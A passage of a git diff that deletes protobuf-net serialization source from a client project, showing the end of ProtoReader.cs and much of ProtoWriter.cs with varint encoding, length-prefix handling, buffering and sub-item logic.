if (value == null || value.Length == 0) - { - offset = 0; - value = new byte[len]; - } - else - { - offset = value.Length; - byte[] tmp = new byte[value.Length + len]; - Helpers.BlockCopy(value, 0, tmp, 0, value.Length); - value = tmp; - } - // value is now sized with the final length, and (if necessary) - // contains the old data up to "offset" - reader.position += len; // assume success - while (len > reader.available) - { - if (reader.available > 0) - { - // copy what we *do* have - Helpers.BlockCopy(reader.ioBuffer, reader.ioIndex, value, offset, reader.available); - len -= reader.available; - offset += reader.available; - reader.ioIndex = reader.available = 0; // we've drained the buffer - } - // now refill the buffer (without overflowing it) - int count = len > reader.ioBuffer.Length ? reader.ioBuffer.Length : len; - if (count > 0) reader.Ensure(count, true); - } - // at this point, we know that len <= available - if (len > 0) - { - // still need data, but we have enough buffered - Helpers.BlockCopy(reader.ioBuffer, reader.ioIndex, value, offset, len); - reader.ioIndex += len; - reader.available -= len; - } - return value; - default: - throw reader.CreateWireTypeException(); - } - } - - //static byte[] ReadBytes(Stream stream, int length) - //{ - // if (stream == null) throw new ArgumentNullException("stream"); - // if (length < 0) throw new ArgumentOutOfRangeException("length"); - // byte[] buffer = new byte[length]; - // int offset = 0, read; - // while (length > 0 && (read = stream.Read(buffer, offset, length)) > 0) - // { - // length -= read; - // } - // if (length > 0) throw EoF(null); - // return buffer; - //} - private static int ReadByteOrThrow(Stream source) - { - int val = source.ReadByte(); - if (val < 0) throw EoF(null); - return val; - } - - /// - /// Reads the length-prefix of a message from a stream without buffering additional data, allowing a fixed-length - /// reader to be created. - /// - public static int ReadLengthPrefix(Stream source, bool expectHeader, PrefixStyle style, out int fieldNumber) - { - int bytesRead; - return ReadLengthPrefix(source, expectHeader, style, out fieldNumber, out bytesRead); - } - - /// - /// Reads a little-endian encoded integer. An exception is thrown if the data is not all available. - /// - public static int DirectReadLittleEndianInt32(Stream source) - { - return ReadByteOrThrow(source) - | (ReadByteOrThrow(source) << 8) - | (ReadByteOrThrow(source) << 16) - | (ReadByteOrThrow(source) << 24); - } - - /// - /// Reads a big-endian encoded integer. An exception is thrown if the data is not all available. - /// - public static int DirectReadBigEndianInt32(Stream source) - { - return (ReadByteOrThrow(source) << 24) - | (ReadByteOrThrow(source) << 16) - | (ReadByteOrThrow(source) << 8) - | ReadByteOrThrow(source); - } - - /// - /// Reads a varint encoded integer. An exception is thrown if the data is not all available. - /// - public static int DirectReadVarintInt32(Stream source) - { - uint val; - int bytes = TryReadUInt32Variant(source, out val); - if (bytes <= 0) throw EoF(null); - return (int) val; - } - - /// - /// Reads a string (of a given lenth, in bytes) directly from the source into a pre-existing buffer. An exception is thrown if the data is not all available. - /// - public static void DirectReadBytes(Stream source, byte[] buffer, int offset, int count) - { - int read; - if (source == null) throw new ArgumentNullException("source"); - while (count > 0 && (read = source.Read(buffer, offset, count)) > 0) - { - count -= read; - offset += read; - } - if (count > 0) throw EoF(null); - } - - /// - /// Reads a given number of bytes directly from the source. An exception is thrown if the data is not all available. - /// - public static byte[] DirectReadBytes(Stream source, int count) - { - byte[] buffer = new byte[count]; - DirectReadBytes(source, buffer, 0, count); - return buffer; - } - - /// - /// Reads a string (of a given lenth, in bytes) directly from the source. An exception is thrown if the data is not all available. - /// - public static string DirectReadString(Stream source, int length) - { - byte[] buffer = new byte[length]; - DirectReadBytes(source, buffer, 0, length); - return Encoding.UTF8.GetString(buffer, 0, length); - } - - /// - /// Reads the length-prefix of a message from a stream without buffering additional data, allowing a fixed-length - /// reader to be created. - /// - public static int ReadLengthPrefix(Stream source, bool expectHeader, PrefixStyle style, out int fieldNumber, - out int bytesRead) - { - fieldNumber = 0; - switch (style) - { - case PrefixStyle.None: - bytesRead = 0; - return int.MaxValue; - case PrefixStyle.Base128: - uint val; - int tmpBytesRead; - bytesRead = 0; - if (expectHeader) - { - tmpBytesRead = ProtoReader.TryReadUInt32Variant(source, out val); - bytesRead += tmpBytesRead; - if (tmpBytesRead > 0) - { - if ((val & 7) != (uint) WireType.String) - { - // got a header, but it isn't a string - throw new InvalidOperationException(); - } - fieldNumber = (int) (val >> 3); - tmpBytesRead = ProtoReader.TryReadUInt32Variant(source, out val); - bytesRead += tmpBytesRead; - if (bytesRead == 0) - { - // got a header, but no length - throw EoF(null); - } - return (int) val; - } - else - { - // no header - bytesRead = 0; - return -1; - } - } - // check for a length - tmpBytesRead = ProtoReader.TryReadUInt32Variant(source, out val); - bytesRead += tmpBytesRead; - return bytesRead < 0 ? -1 : (int) val; - - case PrefixStyle.Fixed32: - { - int b = source.ReadByte(); - if (b < 0) - { - bytesRead = 0; - return -1; - } - bytesRead = 4; - return b - | (ReadByteOrThrow(source) << 8) - | (ReadByteOrThrow(source) << 16) - | (ReadByteOrThrow(source) << 24); - } - case PrefixStyle.Fixed32BigEndian: - { - int b = source.ReadByte(); - if (b < 0) - { - bytesRead = 0; - return -1; - } - bytesRead = 4; - return (b << 24) - | (ReadByteOrThrow(source) << 16) - | (ReadByteOrThrow(source) << 8) - | ReadByteOrThrow(source); - } - default: - throw new ArgumentOutOfRangeException("style"); - } - } - - /// The number of bytes consumed; 0 if no data available - private static int TryReadUInt32Variant(Stream source, out uint value) - { - value = 0; - int b = source.ReadByte(); - if (b < 0) - { - return 0; - } - value = (uint) b; - if ((value & 0x80) == 0) - { - return 1; - } - value &= 0x7F; - - b = source.ReadByte(); - if (b < 0) throw EoF(null); - value |= ((uint) b & 0x7F) << 7; - if ((b & 0x80) == 0) return 2; - - b = source.ReadByte(); - if (b < 0) throw EoF(null); - value |= ((uint) b & 0x7F) << 14; - if ((b & 0x80) == 0) return 3; - - b = source.ReadByte(); - if (b < 0) throw EoF(null); - value |= ((uint) b & 0x7F) << 21; - if ((b & 0x80) == 0) return 4; - - b = source.ReadByte(); - if (b < 0) throw EoF(null); - value |= (uint) b << 28; // can only use 4 bits from this chunk - if ((b & 0xF0) == 0) return 5; - - throw new OverflowException(); - } - - internal static void Seek(Stream source, int count, byte[] buffer) - { - if (source.CanSeek) - { - source.Seek(count, SeekOrigin.Current); - count = 0; - } - else if (buffer != null) - { - int bytesRead; - while (count > buffer.Length && (bytesRead = source.Read(buffer, 0, buffer.Length)) > 0) - { - count -= bytesRead; - } - while (count > 0 && (bytesRead = source.Read(buffer, 0, count)) > 0) - { - count -= bytesRead; - } - } - else // borrow a buffer - { - buffer = BufferPool.GetBuffer(); - try - { - int bytesRead; - while (count > buffer.Length && (bytesRead = source.Read(buffer, 0, buffer.Length)) > 0) - { - count -= bytesRead; - } - while (count > 0 && (bytesRead = source.Read(buffer, 0, count)) > 0) - { - count -= bytesRead; - } - } - finally - { - BufferPool.ReleaseBufferToPool(ref buffer); - } - } - if (count > 0) throw EoF(null); - } - - internal static Exception AddErrorData(Exception exception, ProtoReader source) - { -#if !CF && !FX11 && !PORTABLE - if (exception != null && source != null && !exception.Data.Contains("protoSource")) - { - exception.Data.Add("protoSource", string.Format("tag={0}; wire-type={1}; offset={2}; depth={3}", - source.fieldNumber, source.wireType, source.position, source.depth)); - } -#endif - return exception; - } - - private static Exception EoF(ProtoReader source) - { - return AddErrorData(new EndOfStreamException(), source); - } - - /// - /// Copies the current field into the instance as extension data - /// - public void AppendExtensionData(IExtensible instance) - { - if (instance == null) throw new ArgumentNullException("instance"); - IExtension extn = instance.GetExtensionObject(true); - bool commit = false; - // unusually we *don't* want "using" here; the "finally" does that, with - // the extension object being responsible for disposal etc - Stream dest = extn.BeginAppend(); - try - { - //TODO: replace this with stream-based, buffered raw copying - using (ProtoWriter writer = new ProtoWriter(dest, model, null)) - { - AppendExtensionField(writer); - writer.Close(); - } - commit = true; - } - finally - { - extn.EndAppend(dest, commit); - } - } - - private void AppendExtensionField(ProtoWriter writer) - { - //TODO: replace this with stream-based, buffered raw copying - ProtoWriter.WriteFieldHeader(fieldNumber, wireType, writer); - switch (wireType) - { - case WireType.Fixed32: - ProtoWriter.WriteInt32(ReadInt32(), writer); - return; - case WireType.Variant: - case WireType.SignedVariant: - case WireType.Fixed64: - ProtoWriter.WriteInt64(ReadInt64(), writer); - return; - case WireType.String: - ProtoWriter.WriteBytes(AppendBytes(null, this), writer); - return; - case WireType.StartGroup: - SubItemToken readerToken = StartSubItem(this), - writerToken = ProtoWriter.StartSubItem(null, writer); - while (ReadFieldHeader() > 0) - { - AppendExtensionField(writer); - } - EndSubItem(readerToken, this); - ProtoWriter.EndSubItem(writerToken, writer); - return; - case WireType.None: // treat as explicit errorr - case WireType.EndGroup: // treat as explicit error - default: // treat as implicit error - throw CreateWireTypeException(); - } - } - - /// - /// Indicates whether the reader still has data remaining in the current sub-item, - /// additionally setting the wire-type for the next field if there is more data. - /// This is used when decoding packed data. - /// - public static bool HasSubValue(ProtoBuf.WireType wireType, ProtoReader source) - { - if (source == null) throw new ArgumentNullException("source"); - // check for virtual end of stream - if (source.blockEnd <= source.position || wireType == WireType.EndGroup) - { - return false; - } - source.wireType = wireType; - return true; - } - - internal int GetTypeKey(ref Type type) - { - return model.GetKey(ref type); - } - - internal NetObjectCache NetCache - { - get { return netCache; } - } - - internal System.Type DeserializeType(string value) - { - return TypeModel.DeserializeType(model, value); - } - - internal void SetRootObject(object value) - { - netCache.SetKeyedObject(NetObjectCache.Root, value); - trapCount--; - } - - - /// - /// Utility method, not intended for public use; this helps maintain the root object is complex scenarios - /// - public static void NoteObject(object value, ProtoReader reader) - { - if (reader == null) throw new ArgumentNullException("reader"); - if (reader.trapCount != 0) - { - reader.netCache.RegisterTrappedObject(value); - reader.trapCount--; - } - } - - /// - /// Reads a Type from the stream, using the model's DynamicTypeFormatting if appropriate; supported wire-types: String - /// - public System.Type ReadType() - { - return TypeModel.DeserializeType(model, ReadString()); - } - - internal void TrapNextObject(int newObjectKey) - { - trapCount++; - netCache.SetKeyedObject(newObjectKey, null); // use null as a temp - } - - internal void CheckFullyConsumed() - { - if (isFixedLength) - { - if (dataRemaining != 0) throw new ProtoException("Incorrect number of bytes consumed"); - } - else - { - if (available != 0) - throw new ProtoException("Unconsumed data left in the buffer; this suggests corrupt input"); - } - } - - /// - /// Merge two objects using the details from the current reader; this is used to change the type - /// of objects when an inheritance relationship is discovered later than usual during deserilazation. - /// - public static object Merge(ProtoReader parent, object from, object to) - { - if (parent == null) throw new ArgumentNullException("parent"); - TypeModel model = parent.Model; - SerializationContext ctx = parent.Context; - if (model == null) - throw new InvalidOperationException("Types cannot be merged unless a type-model has been specified"); - using (MemoryStream ms = new MemoryStream()) - { - model.Serialize(ms, from, ctx); - ms.Position = 0; - return model.Deserialize(ms, to, null); - } - } - - #region RECYCLER - - internal static ProtoReader Create(Stream source, TypeModel model, SerializationContext context, int len) - { - ProtoReader reader = GetRecycled(); - if (reader == null) - { - return new ProtoReader(source, model, context, len); - } - Init(reader, source, model, context, len); - return reader; - } - -#if !PLAT_NO_THREADSTATIC - [ThreadStatic] private static ProtoReader lastReader; - - private static ProtoReader GetRecycled() - { - ProtoReader tmp = lastReader; - lastReader = null; - return tmp; - } - - internal static void Recycle(ProtoReader reader) - { - if (reader != null) - { - reader.Dispose(); - lastReader = reader; - } - } -#elif !PLAT_NO_INTERLOCKED - private static object lastReader; - private static ProtoReader GetRecycled() - { - return (ProtoReader)System.Threading.Interlocked.Exchange(ref lastReader, null); - } - internal static void Recycle(ProtoReader reader) - { - if(reader != null) - { - reader.Dispose(); - System.Threading.Interlocked.Exchange(ref lastReader, reader); - } - } -#else - private static readonly object recycleLock = new object(); - private static ProtoReader lastReader; - private static ProtoReader GetRecycled() - { - lock(recycleLock) - { - ProtoReader tmp = lastReader; - lastReader = null; - return tmp; - } - } - internal static void Recycle(ProtoReader reader) - { - if(reader != null) - { - reader.Dispose(); - lock(recycleLock) - { - lastReader = reader; - } - } - } -#endif - - #endregion - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/ProtoWriter.cs b/Client/Core/ProtoBuf/ProtoWriter.cs deleted file mode 100644 index 73deec0a..00000000 --- a/Client/Core/ProtoBuf/ProtoWriter.cs +++ /dev/null @@ -1,1046 +0,0 @@ -using System; -using System.IO; -using System.Text; -using ProtoBuf.Meta; - -#if MF -using OverflowException = System.ApplicationException; -#endif - -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -#endif - -namespace ProtoBuf -{ - /// - /// Represents an output stream for writing protobuf data. - /// - /// Why is the API backwards (static methods with writer arguments)? - /// See: http://marcgravell.blogspot.com/2010/03/last-will-be-first-and-first-will-be.html - /// - public sealed class ProtoWriter : IDisposable - { - private Stream dest; - private TypeModel model; - - /// - /// Write an encapsulated sub-object, using the supplied unique key (reprasenting a type). - /// - /// The object to write. - /// The key that uniquely identifies the type within the model. - /// The destination. - public static void WriteObject(object value, int key, ProtoWriter writer) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - if (writer == null) throw new ArgumentNullException("writer"); - if (writer.model == null) - { - throw new InvalidOperationException("Cannot serialize sub-objects unless a model is provided"); - } - - SubItemToken token = StartSubItem(value, writer); - if (key >= 0) - { - writer.model.Serialize(key, value, writer); - } - else if (writer.model != null && - writer.model.TrySerializeAuxiliaryType(writer, value.GetType(), DataFormat.Default, - Serializer.ListItemTag, value, false)) - { - // all ok - } - else - { - TypeModel.ThrowUnexpectedType(value.GetType()); - } - EndSubItem(token, writer); -#endif - } - - /// - /// Write an encapsulated sub-object, using the supplied unique key (reprasenting a type) - but the - /// caller is asserting that this relationship is non-recursive; no recursion check will be - /// performed. - /// - /// The object to write. - /// The key that uniquely identifies the type within the model. - /// The destination. - public static void WriteRecursionSafeObject(object value, int key, ProtoWriter writer) - { - if (writer == null) throw new ArgumentNullException("writer"); - if (writer.model == null) - { - throw new InvalidOperationException("Cannot serialize sub-objects unless a model is provided"); - } - SubItemToken token = StartSubItem(null, writer); - writer.model.Serialize(key, value, writer); - EndSubItem(token, writer); - } - - internal static void WriteObject(object value, int key, ProtoWriter writer, PrefixStyle style, int fieldNumber) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - if (writer.model == null) - { - throw new InvalidOperationException("Cannot serialize sub-objects unless a model is provided"); - } - if (writer.wireType != WireType.None) throw ProtoWriter.CreateException(writer); - - switch (style) - { - case PrefixStyle.Base128: - writer.wireType = WireType.String; - writer.fieldNumber = fieldNumber; - if (fieldNumber > 0) WriteHeaderCore(fieldNumber, WireType.String, writer); - break; - case PrefixStyle.Fixed32: - case PrefixStyle.Fixed32BigEndian: - writer.fieldNumber = 0; - writer.wireType = WireType.Fixed32; - break; - default: - throw new ArgumentOutOfRangeException("style"); - } - SubItemToken token = StartSubItem(value, writer, true); - if (key < 0) - { - if ( - !writer.model.TrySerializeAuxiliaryType(writer, value.GetType(), DataFormat.Default, - Serializer.ListItemTag, value, false)) - { - TypeModel.ThrowUnexpectedType(value.GetType()); - } - } - else - { - writer.model.Serialize(key, value, writer); - } - EndSubItem(token, writer, style); -#endif - } - - internal int GetTypeKey(ref Type type) - { - return model.GetKey(ref type); - } - - private readonly NetObjectCache netCache = new NetObjectCache(); - - internal NetObjectCache NetCache - { - get { return netCache; } - } - - private int fieldNumber, flushLock; - private WireType wireType; - - internal WireType WireType - { - get { return wireType; } - } - - /// - /// Writes a field-header, indicating the format of the next data we plan to write. - /// - public static void WriteFieldHeader(int fieldNumber, WireType wireType, ProtoWriter writer) - { - if (writer == null) throw new ArgumentNullException("writer"); - if (writer.wireType != WireType.None) - throw new InvalidOperationException("Cannot write a " + wireType.ToString() - + " header until the " + writer.wireType.ToString() + - " data has been written"); - if (fieldNumber < 0) throw new ArgumentOutOfRangeException("fieldNumber"); -#if DEBUG - switch (wireType) - { - // validate requested header-type - case WireType.Fixed32: - case WireType.Fixed64: - case WireType.String: - case WireType.StartGroup: - case WireType.SignedVariant: - case WireType.Variant: - break; // fine - case WireType.None: - case WireType.EndGroup: - default: - throw new ArgumentException("Invalid wire-type: " + wireType.ToString(), "wireType"); - } -#endif - if (writer.packedFieldNumber == 0) - { - writer.fieldNumber = fieldNumber; - writer.wireType = wireType; - WriteHeaderCore(fieldNumber, wireType, writer); - } - else if (writer.packedFieldNumber == fieldNumber) - { - // we'll set things up, but note we *don't* actually write the header here - switch (wireType) - { - case WireType.Fixed32: - case WireType.Fixed64: - case WireType.Variant: - case WireType.SignedVariant: - break; // fine - default: - throw new InvalidOperationException("Wire-type cannot be encoded as packed: " + - wireType.ToString()); - } - writer.fieldNumber = fieldNumber; - writer.wireType = wireType; - } - else - { - throw new InvalidOperationException("Field mismatch during packed encoding; expected " + - writer.packedFieldNumber.ToString() + " but received " + - fieldNumber.ToString()); - } - } - - internal static void WriteHeaderCore(int fieldNumber, WireType wireType, ProtoWriter writer) - { - uint header = (((uint) fieldNumber) << 3) - | (((uint) wireType) & 7); - WriteUInt32Variant(header, writer); - } - - /// - /// Writes a byte-array to the stream; supported wire-types: String - /// - public static void WriteBytes(byte[] data, ProtoWriter writer) - { - if (data == null) throw new ArgumentNullException("data"); - ProtoWriter.WriteBytes(data, 0, data.Length, writer); - } - - /// - /// Writes a byte-array to the stream; supported wire-types: String - /// - public static void WriteBytes(byte[] data, int offset, int length, ProtoWriter writer) - { - if (data == null) throw new ArgumentNullException("data"); - if (writer == null) throw new ArgumentNullException("writer"); - switch (writer.wireType) - { - case WireType.Fixed32: - if (length != 4) throw new ArgumentException("length"); - goto CopyFixedLength; // ugly but effective - case WireType.Fixed64: - if (length != 8) throw new ArgumentException("length"); - goto CopyFixedLength; // ugly but effective - case WireType.String: - WriteUInt32Variant((uint) length, writer); - writer.wireType = WireType.None; - if (length == 0) return; - if (writer.flushLock != 0 || length <= writer.ioBuffer.Length) // write to the buffer - { - goto CopyFixedLength; // ugly but effective - } - // writing data that is bigger than the buffer (and the buffer - // isn't currently locked due to a sub-object needing the size backfilled) - Flush(writer); // commit any existing data from the buffer - // now just write directly to the underlying stream - writer.dest.Write(data, offset, length); - writer.position += length; // since we've flushed offset etc is 0, and remains - // zero since we're writing directly to the stream - return; - } - throw CreateException(writer); - CopyFixedLength: // no point duplicating this lots of times, and don't really want another stackframe - DemandSpace(length, writer); - Helpers.BlockCopy(data, offset, writer.ioBuffer, writer.ioIndex, length); - IncrementedAndReset(length, writer); - } - - private static void CopyRawFromStream(Stream source, ProtoWriter writer) - { - byte[] buffer = writer.ioBuffer; - int space = buffer.Length - writer.ioIndex, bytesRead = 1; // 1 here to spoof case where already full - - // try filling the buffer first - while (space > 0 && (bytesRead = source.Read(buffer, writer.ioIndex, space)) > 0) - { - writer.ioIndex += bytesRead; - writer.position += bytesRead; - space -= bytesRead; - } - if (bytesRead <= 0) return; // all done using just the buffer; stream exhausted - - // at this point the stream still has data, but buffer is full; - if (writer.flushLock == 0) - { - Flush(writer); - while ((bytesRead = source.Read(buffer, 0, buffer.Length)) > 0) - { - writer.dest.Write(buffer, 0, bytesRead); - writer.position += bytesRead; - } - } - else - { - do - { - // need more space; resize (double) as necessary, - // requesting a reasonable minimum chunk each time - // (128 is the minimum; there may actually be much - // more space than this in the buffer) - DemandSpace(128, writer); - if ((bytesRead = source.Read(writer.ioBuffer, writer.ioIndex, - writer.ioBuffer.Length - writer.ioIndex)) <= 0) break; - writer.position += bytesRead; - writer.ioIndex += bytesRead; - } while (true); - } - } - - private static void IncrementedAndReset(int length, ProtoWriter writer) - { - Helpers.DebugAssert(length >= 0); - writer.ioIndex += length; - writer.position += length; - writer.wireType = WireType.None; - } - - private int depth = 0; - private const int RecursionCheckDepth = 25; - - /// - /// Indicates the start of a nested record. - /// - /// The instance to write. - /// The destination. - /// A token representing the state of the stream; this token is given to EndSubItem. - public static SubItemToken StartSubItem(object instance, ProtoWriter writer) - { - return StartSubItem(instance, writer, false); - } - - private MutableList recursionStack; - - private void CheckRecursionStackAndPush(object instance) - { - int hitLevel; - if (recursionStack == null) - { - recursionStack = new MutableList(); - } - else if (instance != null && (hitLevel = recursionStack.IndexOfReference(instance)) >= 0) - { -#if DEBUG - Helpers.DebugWriteLine("Stack:"); - foreach (object obj in recursionStack) - { - Helpers.DebugWriteLine(obj == null ? "" : obj.ToString()); - } - Helpers.DebugWriteLine(instance == null ? "" : instance.ToString()); -#endif - throw new ProtoException("Possible recursion detected (offset: " + - (recursionStack.Count - hitLevel).ToString() + " level(s)): " + - instance.ToString()); - } - recursionStack.Add(instance); - } - - private void PopRecursionStack() - { - recursionStack.RemoveLast(); - } - - private static SubItemToken StartSubItem(object instance, ProtoWriter writer, bool allowFixed) - { - if (writer == null) throw new ArgumentNullException("writer"); - if (++writer.depth > RecursionCheckDepth) - { - writer.CheckRecursionStackAndPush(instance); - } - if (writer.packedFieldNumber != 0) - throw new InvalidOperationException("Cannot begin a sub-item while performing packed encoding"); - switch (writer.wireType) - { - case WireType.StartGroup: - writer.wireType = WireType.None; - return new SubItemToken(-writer.fieldNumber); - case WireType.String: -#if DEBUG - if (writer.model != null && writer.model.ForwardsOnly) - { - throw new ProtoException("Should not be buffering data"); - } -#endif - writer.wireType = WireType.None; - DemandSpace(32, writer); // make some space in anticipation... - writer.flushLock++; - writer.position++; - return new SubItemToken(writer.ioIndex++); // leave 1 space (optimistic) for length - case WireType.Fixed32: - { - if (!allowFixed) throw CreateException(writer); - DemandSpace(32, writer); // make some space in anticipation... - writer.flushLock++; - SubItemToken token = new SubItemToken(writer.ioIndex); - ProtoWriter.IncrementedAndReset(4, writer); // leave 4 space (rigid) for length - return token; - } - default: - throw CreateException(writer); - } - } - - /// - /// Indicates the end of a nested record. - /// - /// The token obtained from StartubItem. - /// The destination. - public static void EndSubItem(SubItemToken token, ProtoWriter writer) - { - EndSubItem(token, writer, PrefixStyle.Base128); - } - - private static void EndSubItem(SubItemToken token, ProtoWriter writer, PrefixStyle style) - { - if (writer == null) throw new ArgumentNullException("writer"); - if (writer.wireType != WireType.None) - { - throw CreateException(writer); - } - int value = token.value; - if (writer.depth <= 0) throw CreateException(writer); - if (writer.depth-- > RecursionCheckDepth) - { - writer.PopRecursionStack(); - } - writer.packedFieldNumber = 0; // ending the sub-item always wipes packed encoding - if (value < 0) - { - // group - very simple append - WriteHeaderCore(-value, WireType.EndGroup, writer); - writer.wireType = WireType.None; - return; - } - - // so we're backfilling the length into an existing sequence - int len; - switch (style) - { - case PrefixStyle.Fixed32: - len = (int) ((writer.ioIndex - value) - 4); - ProtoWriter.WriteInt32ToBuffer(len, writer.ioBuffer, value); - break; - case PrefixStyle.Fixed32BigEndian: - len = (int) ((writer.ioIndex - value) - 4); - byte[] buffer = writer.ioBuffer; - ProtoWriter.WriteInt32ToBuffer(len, buffer, value); - // and swap the byte order - byte b = buffer[value]; - buffer[value] = buffer[value + 3]; - buffer[value + 3] = b; - b = buffer[value + 1]; - buffer[value + 1] = buffer[value + 2]; - buffer[value + 2] = b; - break; - case PrefixStyle.Base128: - // string - complicated because we only reserved one byte; - // if the prefix turns out to need more than this then - // we need to shuffle the existing data - len = (int) ((writer.ioIndex - value) - 1); - int offset = 0; - uint tmp = (uint) len; - while ((tmp >>= 7) != 0) offset++; - if (offset == 0) - { - writer.ioBuffer[value] = (byte) (len & 0x7F); - } - else - { - DemandSpace(offset, writer); - byte[] blob = writer.ioBuffer; - Helpers.BlockCopy(blob, value + 1, blob, value + 1 + offset, len); - tmp = (uint) len; - do - { - blob[value++] = (byte) ((tmp & 0x7F) | 0x80); - } while ((tmp >>= 7) != 0); - blob[value - 1] = (byte) (blob[value - 1] & ~0x80); - writer.position += offset; - writer.ioIndex += offset; - } - break; - default: - throw new ArgumentOutOfRangeException("style"); - } - // and this object is no longer a blockage - also flush if sensible - const int ADVISORY_FLUSH_SIZE = 1024; - if (--writer.flushLock == 0 && writer.ioIndex >= ADVISORY_FLUSH_SIZE) - { - ProtoWriter.Flush(writer); - } - } - - /// - /// Creates a new writer against a stream - /// - /// The destination stream - /// The model to use for serialization; this can be null, but this will impair the ability to serialize sub-objects - /// Additional context about this serialization operation - public ProtoWriter(Stream dest, TypeModel model, SerializationContext context) - { - if (dest == null) throw new ArgumentNullException("dest"); - if (!dest.CanWrite) throw new ArgumentException("Cannot write to stream", "dest"); - //if (model == null) throw new ArgumentNullException("model"); - this.dest = dest; - this.ioBuffer = BufferPool.GetBuffer(); - this.model = model; - this.wireType = WireType.None; - if (context == null) - { - context = SerializationContext.Default; - } - else - { - context.Freeze(); - } - this.context = context; - } - - private readonly SerializationContext context; - - /// - /// Addition information about this serialization operation. - /// - public SerializationContext Context - { - get { return context; } - } - - /// - /// Disposes and cleans up all unused resources that is used by the object. - /// - void IDisposable.Dispose() - { - Dispose(); - } - - /// - /// Releases some resources of the ProtoWriter. Optionally dispose of it all, including the underlying stream. - /// - public void Dispose() - { - if (dest != null) - { - Flush(this); - dest.Dispose(); - dest = null; - } - model = null; - BufferPool.ReleaseBufferToPool(ref ioBuffer); - } - - private byte[] ioBuffer; - private int ioIndex; - // note that this is used by some of the unit tests and should not be removed - internal static int GetPosition(ProtoWriter writer) - { - return writer.position; - } - - private int position; - - private static void DemandSpace(int required, ProtoWriter writer) - { - // check for enough space - if ((writer.ioBuffer.Length - writer.ioIndex) < required) - { - if (writer.flushLock == 0) - { - Flush(writer); // try emptying the buffer - if ((writer.ioBuffer.Length - writer.ioIndex) >= required) return; - } - // either can't empty the buffer, or that didn't help; need more space - BufferPool.ResizeAndFlushLeft(ref writer.ioBuffer, required + writer.ioIndex, 0, writer.ioIndex); - } - } - - /// - /// Flushes data to the underlying stream, and releases any resources. The underlying stream is *not* disposed - /// by this operation. - /// - public void Close() - { - if (depth != 0 || flushLock != 0) - throw new InvalidOperationException("Unable to close stream in an incomplete state"); - Dispose(); - } - - internal void CheckDepthFlushlock() - { - if (depth != 0 || flushLock != 0) - throw new InvalidOperationException("The writer is in an incomplete state"); - } - - /// - /// Get the TypeModel associated with this writer - /// - public TypeModel Model - { - get { return model; } - } - - /// - /// Writes any buffered data (if possible) to the underlying stream. - /// - /// The writer to flush - /// It is not always possible to fully flush, since some sequences - /// may require values to be back-filled into the byte-stream. - internal static void Flush(ProtoWriter writer) - { - if (writer.flushLock == 0 && writer.ioIndex != 0) - { - writer.dest.Write(writer.ioBuffer, 0, writer.ioIndex); - writer.ioIndex = 0; - } - } - - /// - /// Writes an unsigned 32-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64 - /// - private static void WriteUInt32Variant(uint value, ProtoWriter writer) - { - DemandSpace(5, writer); - int count = 0; - do - { - writer.ioBuffer[writer.ioIndex++] = (byte) ((value & 0x7F) | 0x80); - count++; - } while ((value >>= 7) != 0); - writer.ioBuffer[writer.ioIndex - 1] &= 0x7F; - writer.position += count; - } - - private static readonly UTF8Encoding encoding = new UTF8Encoding(); - - internal static uint Zig(int value) - { - return (uint) ((value << 1) ^ (value >> 31)); - } - - internal static ulong Zig(long value) - { - return (ulong) ((value << 1) ^ (value >> 63)); - } - - private static void WriteUInt64Variant(ulong value, ProtoWriter writer) - { - DemandSpace(10, writer); - int count = 0; - do - { - writer.ioBuffer[writer.ioIndex++] = (byte) ((value & 0x7F) | 0x80); - count++; - } while ((value >>= 7) != 0); - writer.ioBuffer[writer.ioIndex - 1] &= 0x7F; - writer.position += count; - } - - /// - /// Writes a string to the stream; supported wire-types: String - /// - public static void WriteString(string value, ProtoWriter writer) - { - if (writer == null) throw new ArgumentNullException("writer"); - if (writer.wireType != WireType.String) throw CreateException(writer); - if (value == null) throw new ArgumentNullException("value"); // written header; now what? - int len = value.Length; - if (len == 0) - { - WriteUInt32Variant(0, writer); - writer.wireType = WireType.None; - return; // just a header - } -#if MF - byte[] bytes = encoding.GetBytes(value); - int actual = bytes.Length; - writer.WriteUInt32Variant((uint)actual); - writer.Ensure(actual); - Helpers.BlockCopy(bytes, 0, writer.ioBuffer, writer.ioIndex, actual); -#else - int predicted = encoding.GetByteCount(value); - WriteUInt32Variant((uint) predicted, writer); - DemandSpace(predicted, writer); - int actual = encoding.GetBytes(value, 0, value.Length, writer.ioBuffer, writer.ioIndex); - Helpers.DebugAssert(predicted == actual); -#endif - IncrementedAndReset(actual, writer); - } - - /// - /// Writes an unsigned 64-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64 - /// - public static void WriteUInt64(ulong value, ProtoWriter writer) - { - if (writer == null) throw new ArgumentNullException("writer"); - switch (writer.wireType) - { - case WireType.Fixed64: - ProtoWriter.WriteInt64((long) value, writer); - return; - case WireType.Variant: - WriteUInt64Variant(value, writer); - writer.wireType = WireType.None; - return; - case WireType.Fixed32: - checked - { - ProtoWriter.WriteUInt32((uint) value, writer); - } - return; - default: - throw CreateException(writer); - } - } - - /// - /// Writes a signed 64-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64, SignedVariant - /// - public static void WriteInt64(long value, ProtoWriter writer) - { - byte[] buffer; - int index; - if (writer == null) throw new ArgumentNullException("writer"); - switch (writer.wireType) - { - case WireType.Fixed64: - DemandSpace(8, writer); - buffer = writer.ioBuffer; - index = writer.ioIndex; - buffer[index] = (byte) value; - buffer[index + 1] = (byte) (value >> 8); - buffer[index + 2] = (byte) (value >> 16); - buffer[index + 3] = (byte) (value >> 24); - buffer[index + 4] = (byte) (value >> 32); - buffer[index + 5] = (byte) (value >> 40); - buffer[index + 6] = (byte) (value >> 48); - buffer[index + 7] = (byte) (value >> 56); - IncrementedAndReset(8, writer); - return; - case WireType.SignedVariant: - WriteUInt64Variant(Zig(value), writer); - writer.wireType = WireType.None; - return; - case WireType.Variant: - if (value >= 0) - { - WriteUInt64Variant((ulong) value, writer); - writer.wireType = WireType.None; - } - else - { - DemandSpace(10, writer); - buffer = writer.ioBuffer; - index = writer.ioIndex; - buffer[index] = (byte) (value | 0x80); - buffer[index + 1] = (byte) ((int) (value >> 7) | 0x80); - buffer[index + 2] = (byte) ((int) (value >> 14) | 0x80); - buffer[index + 3] = (byte) ((int) (value >> 21) | 